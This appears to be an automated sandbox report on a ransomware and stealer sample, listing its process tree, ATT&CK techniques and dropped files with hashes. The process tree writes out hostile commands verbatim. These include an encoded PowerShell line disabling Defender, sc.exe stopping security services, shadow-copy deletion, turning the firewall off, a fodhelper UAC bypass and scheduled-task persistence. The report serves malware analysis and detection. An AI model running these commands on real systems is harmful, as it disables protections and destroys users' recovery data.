C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5688,i,7108157255862566564,15801836986035415795,262144 --field-trial-handle=2016,i,18407393776313749272,10864254349127990213,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=836 /prefetch:83⤵PID:4020
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3456
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:5928
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:1996
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:3784
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:4608
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:3084
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:5388
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:4708
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:540
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3752 -
C:\Users\Admin\AppData\Local\Temp\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe"3⤵PID:5276
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:2468
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:4584
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:1808
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2292
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵PID:3800
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2776
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1832
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:3432 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5416
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2444
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1464 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:280
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4024 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5796
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3480 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4628
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1576 -
C:\Windows\system32\net.exenet user3⤵PID:3816
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:876
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:2712 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:5588
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:1720 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:5516
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4604
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:612
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:3756
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5724
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:5984
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:5264 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:5660
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:5380
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:2704
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:1656
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:2444
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1452
-
C:\Users\Admin\AppData\Local\Temp\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:536
-
C:\Users\Admin\AppData\Local\Temp\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exeC:\Users\Admin\AppData\Local\Temp\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe1⤵PID:2088
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:2776
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:5624
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260511_151717.jpg
- Size 100KB
- SHA256 9e9831a8b61c77d0f8f792173c4ef1778401f3a2121e1c4e4f437639a4bb2eea
- MD5 b3cf1723492ab77375e89d2435e8238a
- SHA1 625f30a6e5bbc19b846da73d7ce490b4d52e2d8c
- SHA512 4e9dbee5ef410a824efe64bcacd9a6130b4d6ec29d024039dbde145d69e14858fcf1e4c96f9d6d57f1126c750628fa68e560297aa3afc4fac92898e90aabd41c
- SSDEEP 1536:IZ5IQGDNFTCmd2xASDWmzYI4uq+lmixTW4Z7C:/ZsxASDWmct+JxT7Z7C
- TLSH T184A3FF138C18CB83952893E9BD435EAD6F4B2B1CD99126FF40671ECB3E246614CDE46E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 e078458258f1647bf12bfba42c5e3ad83d1d00190ba07c756b5e83214a80be3e
- MD5 ac74d38d155a998706f959ab70274284
- SHA1 b4871a60f5c7304b7b70838add63f70aa0bfe4c9
- SHA512 988fc4e646e51e05f220c3fe6ba6ed49cdde9268b721f903afbb995dfff4e57811ec4aa2dbfc3033f9fd8bd5e38f2b5020e465421c10b68dc85da9fcd5393cd9
- SSDEEP 1536:KBU4ybEQNj3PeMtImRGa2Lv0xEzAeuIeVKhIEuPBJA8ezplLRSku1uJBKY2PEK9Q:KBU4yoQNj3GMj0aGhuIn6EuazplCInoq
- TLSH T1D3632A37CB23FCD46B7F3D40E01438960C893E6B877566BCFA810DA628A5554DF2E5A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 65KB
- SHA256 cda28b067fa06075a52c89a48cae3a8281b2fdff703ce690c9bc41d1b8ae3267
- MD5 50df175a79a1348cc70e085181f41a79
- SHA1 6d28133afb2389d73f064382a3e893f0b1fcc90c
- SHA512 dc7db2f6a3da249552ea4646366aa6f7619e9835957394736f2d591062846383c6b8f5d965f7c5c0ee2e334a6945a129ab32b152f01bcc08614ed551a31e3bec
- SSDEEP 1536:qBU4ybEQNj3PeMtImRGa2Lv0xEzAeuIeVKhIEuPBJA8ezplLRSku1uJBKY2PEK9L:qBU4yoQNj3GMj0aGhuIn6EuazplCInod
- TLSH T1A0631936CB23FCD46B7F3D40E01438960C893E7B877566BCFA810DA628A5554DF2E5A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 d96523c3a07d22d1191c1c0140f5dc7f14b54419ff012482eeaf41b6a68ef554
- MD5 ccfa433685aadd6cf97fe3ef8de1f526
- SHA1 63c40a33792b6092d047ab1b1f61a06fec835e16
- SHA512 2da7bcd79fa3dfcdee12f0939777b3995a982ff06f13e5a3cf7bbc3dab2c2c5786ef9858a7a01b43aa3b1f3aeeef89ff0287d8e75ac45d0a16debcbe7822ed17
- TLSH T184E022AACC21EC3B48FD072AA0600696E75013972B50894F763DD3088FB063B4997C6C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 2KB
- SHA256 c94a56e827a0cca9b28fd236fbc5ed300d1903cb5a036ae51fa96285a75e0d5e
- MD5 71cbe80eefd10119ac100c7c42d40ccd
- SHA1 285a03874cc7ad24809cf9a525cfdcf98a7e9b7c
- SHA512 30714a21355ca183fdb568df22e145fa0ee5734b48261eb73d57cf3ce64f72fd6977b5a976fa75620d230aebb764af68eb6f844aaaddeff84b1eac57f64f8285
- TLSH T1F0517BF793B49ABE861192F4EA146E1FCE7D0924035C7CA689D46E1B43F2972D20178F
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 dcf49f1ea75e15cc87c20fab018261fc5a3eaeb95d1c43e4b2ed3fdd9b2319f9
- MD5 6f6a50af5c6260ebb51420b720c4760a
- SHA1 cb0a973da34bfeac3d911496db9a2fe187e1aaa4
- SHA512 688b8d0dbc7a0457f89683dea43d247a6c63743d7551efdab16e434da6464977914c534a522f7b463ce9627ce0ee92e27665b017f26c445a5d4914c40611cdc5
- SSDEEP 192:lRp3hEYJNv4Qv7SpAPRp2rlV9QHsb+WNnJZn5e27/MIewbfaEQoVyIsnAUgtaJ:lRp3MMeUXgWwX427M2faQ8
- TLSH T19E42D72AFA60793B5CDAC22AFA227757D7F5102160D42E44E7FCCA2C15E79CC622B417
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 17KB
- SHA256 b6664493cc7f354e0d0f13cf223dbfd0ee087fdfcfd4eb7b90ba4c92fef1899c
- MD5 1a74105b5ba9c7d42f2e74a8af064544
- SHA1 309b81e1248b2f6bc6b270d22023b2cb03179cbf
- SHA512 af2c099c13f5b6f2b3d6a6520cd29bac397b634a39d7e458b68e4a7b218ff919c96de2cc9cb5a51ba5fff2451e877694ff86832421798ff9ba3d0174c5588b56
- SSDEEP 384:Qyjk37KxkXqKf/pUZNCgVLH2HfgslKD7pLuLcifSzXODk7+ErU3fFHGx3Od:QSk37KxkXqKf/pUZNCgVLH2Hfgs0D7pk
- TLSH T11F72F9A7784C9A770F94CACCDC167E4FADB5024B65E9886483FA982503D5BCF110A1FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 120B
- SHA256 dcc1f39abce96cb1d237560aa58398eca41e969c973b78fb7c31d1fcf68c1932
- MD5 40826ab42dd6522814de1db5c389dd1e
- SHA1 7d77c79523578118d74212f61afa4ec2d263feed
- SHA512 b2a1f175cca6ffc5b9b101caa503c52c3ea02822e77a20567c19f59a38f14173c5901f3b31b9231b059e50c933073a34d60b2de894d2be1c59ea77ee92f8b534
- TLSH T158B01290C0415D91C19303F5119244C831289F349B0A230653E4A97198275904114190
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe58c6c6.TMP
- Size 96B
- SHA256 32f830b1350f18f0d0bf67091ccae46cd9aad6b38e745a28dd785f69bf40bfa9
- MD5 2d920cc81d86c9ae329302ae90f43755
- SHA1 203f68255d68ac9fbdf7d7339ffce1fab715f7a6
- SHA512 79e3a8a8426bb74781d0403d24b67ddfe541e5f2f7006cbe0babc05bfa31d50ad5a9ff9b9c757d2ad880f08f018b7096a104654dc0004b74f4389768c1f59f84
- TLSH T1D1B02230C0022282C2B203B0288080E8B0A0FF2ACA2B3302A2E00A23CC22B300038820
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
- Size 138KB
- SHA256 d35160d89859b61862fd54c3ccc9135fa936a83c2a840651cf18e1b19f2190db
- MD5 32086c9d9c6db01809ea88a3e25b597b
- SHA1 61b2269d9f410158bd88b09d3070330b7cdeb2f3
- SHA512 e568d1bb434d801aeaeeaf5f2cbc7ba084433ce2c4c5668a3ca6e00991764fd4c56959d41e1709a7077d025397e4d6eb461409a44b8d26709bb4edd1f07bc848
- SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2OxrFkdVumjndM:1nbZeMrv/hGtxrMndM
- TLSH T191D3984B3A743002EDE59A762CE054BB5D3CB16D4F15A5D428B620688EF2963B23D4BF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 202KB
- SHA256 88f691838778941f867c69f11b691455e48c9d353bbae61ae1f938dda6c6d828
- MD5 7380e26dc2527a0f62ec25cdd54949f8
- SHA1 6cdfcc310ea2b9d462d1a4a6a28260e8738f66c0
- SHA512 ff3dacba95595c2d9db7f4c96e7647204c6caee27e51ae8508d339187e3607a92fbee596b6ba3498015a8f4188920cbe94ab745ccfdcae5ad53433981f46576a
- SSDEEP 6144:X+OyIfzna+DALOQhYifMrOk0HOGm/SFyEED:dzna+w9Ki0rOjuGdF2D
- TLSH T1181412B71E1A05FB365EC69D767EAC05CD129207909DAE8E8218934E39D90183F23F67
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 201KB
- SHA256 26046c24562a4022fd1cc17a88752345724814effaaba7ec89c4ef4e4870c0b5
- MD5 fa2e4cdd4f4bd3a35ce4a8110dd9fbc1
- SHA1 5f8227475207b94e665947e474f0e898975e97dc
- SHA512 e0fde5a703fd71ce39d3c552966e40a3d84c5e8701edc6c0f9dc41de3f6f70d3f15a663e811848c8d51a144996e58f8580bf5f1124a8b3c16003d12bca9b5f20
- SSDEEP 6144:XIyIfzna+DALOQhYifMrOk0HOGm/SFyEED:Szna+w9Ki0rOjuGdF2D
- TLSH T1121422F71E1A46FB365DC1AD777FAC05C923960290DDAA8A4218935D39D90083B33B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 89KB
- SHA256 b49e6d42a6d83e3016b2edd07b2e17041ac1b4dbdcad9f7a3c8d1a2f2ac88f71
- MD5 0bfd5f7d239e53d9a1c3d2717f3fa5f1
- SHA1 946863889308d8bbbb8c43cea449d62860ed1593
- SHA512 174e80e88454d9974645a94fa0533e8e20acf3e0521b7e0c1f7fedbcafc5191048d296fde702d0c154ea30e1caf9698afd40d7092ee35018f839cf33d6d2f641
- SSDEEP 1536:s3jIrhcYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jRh:SSh3Qw/xLANk0mUW5GmRntSFCjEEND
- TLSH T1B89312BA5F2646E7957D4AC136AE7908CE12130D70AFA9CC726C638C61D41CD2B63E73
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
- Size 201KB
- SHA256 5fab0939b3fa5485d5b222942dac454bf0dd98aac689ae5cfe28ba4886dd6547
- MD5 6deaaa35f7fc7cfb5869d6d729bf5744
- SHA1 dc7e08b9e11d5e36c6517a05b6f64d4f58b3d472
- SHA512 41179bce47c12f9c0df95f805879617eab90220cba5f691293f5a8b26b08b4219aea1d75e0a880fbc83349dfec4017e877812a91d004fd2f3a2dab7e4fc481a9
- SSDEEP 6144:kIyIfzna+DALOQhYifMrOk0HOGm/SFyEED:rzna+w9Ki0rOjuGdF2D
- TLSH T1A01422F71E1A46FB365DC1AD777FAC05C923960290DDAA8E4218935D39D90083B33B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-05-11_2b3cdfa41ee78b5f76385fabf20ae83b_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
- Size 660B
- SHA256 f424c891fbc7385e9826beed2dd8755aeac5495744b5de0a1e370891a7beaf7a
- MD5 1c5e1d0ff3381486370760b0f2eb656b
- SHA1 f9df6be8804ef611063f1ff277e323b1215372de
- SHA512 78f5fc40a185d04c9e4a02a3d1b10b4bd684c579a45a0d1e8f49f8dee9018ed7bc8875cbf21f98632f93ead667214a41904226ce54817b85caeeb4b0de54a743
- TLSH T1CF014970227BA0D888152F942C2E2BC403BF0336B5509E187998729EEE264571F212E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yqlghppg.w4z.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 309B
- SHA256 7e12a16d4b67bb810024cbc0b2ab87dc804fbf66326fd3c06e55f081d62b4f4f
- MD5 1579b6eb2cc456ded27fcf3974cf33a0
- SHA1 d239e6c13e54ac6ec38848e14daedf4de7b184c5
- SHA512 b74a2323bb2c13f09335adb5833d9a17a1621c24c6007608ec33bb4db0daf1c00a65c4cebb23314b80a7644beefd744a442baef2f0a64462dd09ce3d6e244ba4
- TLSH T180E07D5B610CCA9900015237C1F38D4CD6E0553C372B6E209B60CC4D36918C558F9042
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 310B
- SHA256 dc920e0818ae15b4d3eec59a4c139677356c52c7678dfe876c3dae4422c2113e
- MD5 4d006c689a35d2acfcd28490034e248a
- SHA1 d3c846bbbb600c11c82c970f39ec95424cbb1d69
- SHA512 24a42913a2f067bfbd5da8340b6bfb32c1d31424f4153e830ca5459295f1ff38129ba89419e038b19660bb9e56eb5aeb3ceb564c03a3925915aa95d77439e73d
- TLSH T1BAE07D5B611CCA9900015237C1F38D4CD6D1553C3B2B6E209B60CC0E368188558F9042
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
- Size 134KB
- SHA256 98883cf781d8d0d631cf8d9b629370d72ee768d22592b377befe97730b01084c
- MD5 379d2372fa0c5c911159ef548ae68d50
- SHA1 49461dc32f4cab42c84b9f0583cc5d0664167a9a
- SHA512 069ed2b62b12e22b93afaebbfd0cb57d166ce95a661687d169dca4faf34eaf2f2400d64ba586219fd387c8b45ec04ed31d0b0919acced881a8b4d9bb7f5c9e35
- SSDEEP 1536:IXiR0nGrPecXWif+MiiicemyCWV+2dxcNESPU4zU5PEXGfldy5FZnJgAgzUeIVgJ:0nUeAW+riiiPWSxcbtgS53nleIXvW
- TLSH T155D33550D3B2CE6B14465AAB191636D1A438B7B1C2ECD1FB30A2EA33F577DE2C708255
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Desktop\stolen_data_here.txt
- Size 134KB
- SHA256 66b45b76b6e779a67ad8bfa87c80e473e2a0e28218490b8eb312f55efd579773
- MD5 3fde57c3c881b6cee55dd31f3b64c358
- SHA1 a9ab7d143fa9b76c2c40d380c494630c4ff47a35
- SHA512 eb642b53b4da6d8ce5f829c6acec0c4a65110fcad576f3effed8ec6a0f1ed2f5a0c07c72b00520406ded27599e83b942b61953b11f46ea28e80af3e6d6eccf79
- SSDEEP 1536:wXiR0nGrPecXWif+MiiicemyCWV+2dxcNESPU4zU5PEXGfldy5FZnJgAgzUeIVg6:MnUeAW+riiiPWSxcbtgS53nleIXvB
- TLSH T109D33650D3B2CE6B14465AAB191636D1A43CB7B1C2ECD1FB30A2AA33F577DE2C708255
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 49KB
- SHA256 854ee069e296d095c52ac8898d8d295ff6bd69342f9dca834f1f26ac97baaf47
- MD5 2b3cdfa41ee78b5f76385fabf20ae83b
- SHA1 c46a80fe39bee95429f4563d533a2474fcfd20ba
- SHA512 03bea79e3dc148d4747e8b8f026e27f8790d27264b55d9f333cfb91cf2579d163319c7239d57f9b8ed950bfd48adb164b7e6a88a7810c2c31ddf1ab84e1c9c27
- SSDEEP 768:WhvLn9Xe2+aAkxXAX4v//o4TC1XXGblfA07KFcG:Wvc2zVvI4TEXGblf97ucG
- TLSH T1CA33F60437F98111F1BF8BBA4DB196119B31B8979C32D78E1AD5058E1AB3B40CDA8F67
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
- MD5 20c351356d10acf150d790bfa940d4ca
- SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
- SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
- TLSH T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\system32\drivers\etc\hosts
- Size 1KB
- SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
- MD5 d7645147eacea72992c3efbc22e7a507
- SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
- SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
